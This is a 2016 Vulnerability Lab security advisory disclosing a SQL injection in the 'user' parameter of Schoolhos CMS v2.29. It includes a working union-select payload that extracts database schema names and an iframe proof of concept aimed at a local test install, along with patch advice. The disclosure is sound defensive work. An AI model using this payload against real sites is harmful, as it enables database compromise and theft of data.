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Schoolhos CMS v2.29 - userberita SQL injection Vulnerability
From: Vulnerability Lab <research () vulnerability-lab com>
Date: Mon, 28 Nov 2016 12:11:29 +0100
Document Title: =============== Schoolhos CMS v2.29 - userberita SQL injection Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1932 Release Date: ============= 2016-11-22 Vulnerability Laboratory ID (VL-ID): ==================================== 1932 Common Vulnerability Scoring System: ==================================== 6.8 Product & Service Introduction: =============================== Schoolhos CMS is alternative to developing School Website. It's Free and Open Source under GPL License. Easy to install, user friendly and elegant design. (Copy of the Vendor Homepage: http://www.schoolhos.com/ & https://sourceforge.net/projects/schoolhoscms/ ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered a remote sql-injection vulnerability in the official Schoolhos v2_29 content management system. Vulnerability Disclosure Timeline: ================================== 2016-11-22: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Schoolhos Product: Schoolhos - Content Management System (Web-Application) 2016 Q3 Exploitation Technique: ======================= Remote Severity Level: =============== High Technical Details & Description: ================================ A remote sql injection web vulnerability has been discovered in the official Schoolhos v2_29 content management system. The web vulnerability allows remote attackers to execute own malicious sql commands to compromise the application or dbms. The sql injection vulnerability is located in the `user` parameter of the `index?p=userberita` module GET method request. Remote attackers are able to execute own sql commands by usage of an insecure GET method request through the vulnerable parameter of the own application. The attack vector of the vulnerability is application-side and the request method to inject is GET. The security vulnerability in the content management system is a classic select remote sql-injection. The security risk of the vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.8. Exploitation of the remote sql injection vulnerability requires no user interaction or privileged web-application user account. Successful exploitation of the remote sql injection results in database management system, web-server and web-application compromise. Request Method(s): [+] GET Vulnerable Module(s): [+] userberita Vulnerable Parameter(s): [+] user Proof of Concept (PoC): ======================= The remote sql-injection web vulnerability can be exploited by remote attackers without privileged web-application user account and without user interaction. For security demonstration or to reproduce the sql-injection web vulnerability follow the provided information and steps below to continue. PoC: Payload 999999.9%27+union+all+select+0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C%28select+distinct+concat%280x 7e%2C0x27%2Cschema_name%2C0x27%2C0x7e%29+from+%60information_schema%60.schemata+limit+0%2C1%29%2C0x31303235343830303536%2C0x31303235343 830303536%2C0x31303235343830303536%2C0x31303235343830303536+and+%27x%27%3D%27x PoC: Exploitation <html> <head><body> <title>Schoolhos (userberita) - Remote SQL Injection Vulnerability</title> <iframe src="http://schoolhos.localhost:8080/versi_2.29/?p=userberita&user=999999.9%27+union+all+select+ 0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C%28select+ distinct+concat%280x7e%2C0x27%2Cschema_name%2C0x27%2C0x7e%29+from+%60information_schema%60.schemata+limit+ 0%2C1%29%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536+and+%27x%27%3D%27x" width="700" height="700"> Reference(s): http://schoolhos.localhost:8080/ http://schoolhos.localhost:8080/versi_2.29/ http://schoolhos.localhost:8080/versi_2.29/?p Solution - Fix & Patch: ======================= The sql-injection web vulnerability can be patched by usage of a secure prepared statement to perform the queries. Parse the parameter input and filter the context. Disallow the usage of special chars to prevent further sql-injection attacks. Security Risk: ============== The security risk of the sql-injection vulnerability in the schoolhos web-application is estimated as high. (CVSS 6.8) Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Lawrence Amer (http://www.vulnerability-lab.com/show.php?user=Lawrence%20Amer) Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. 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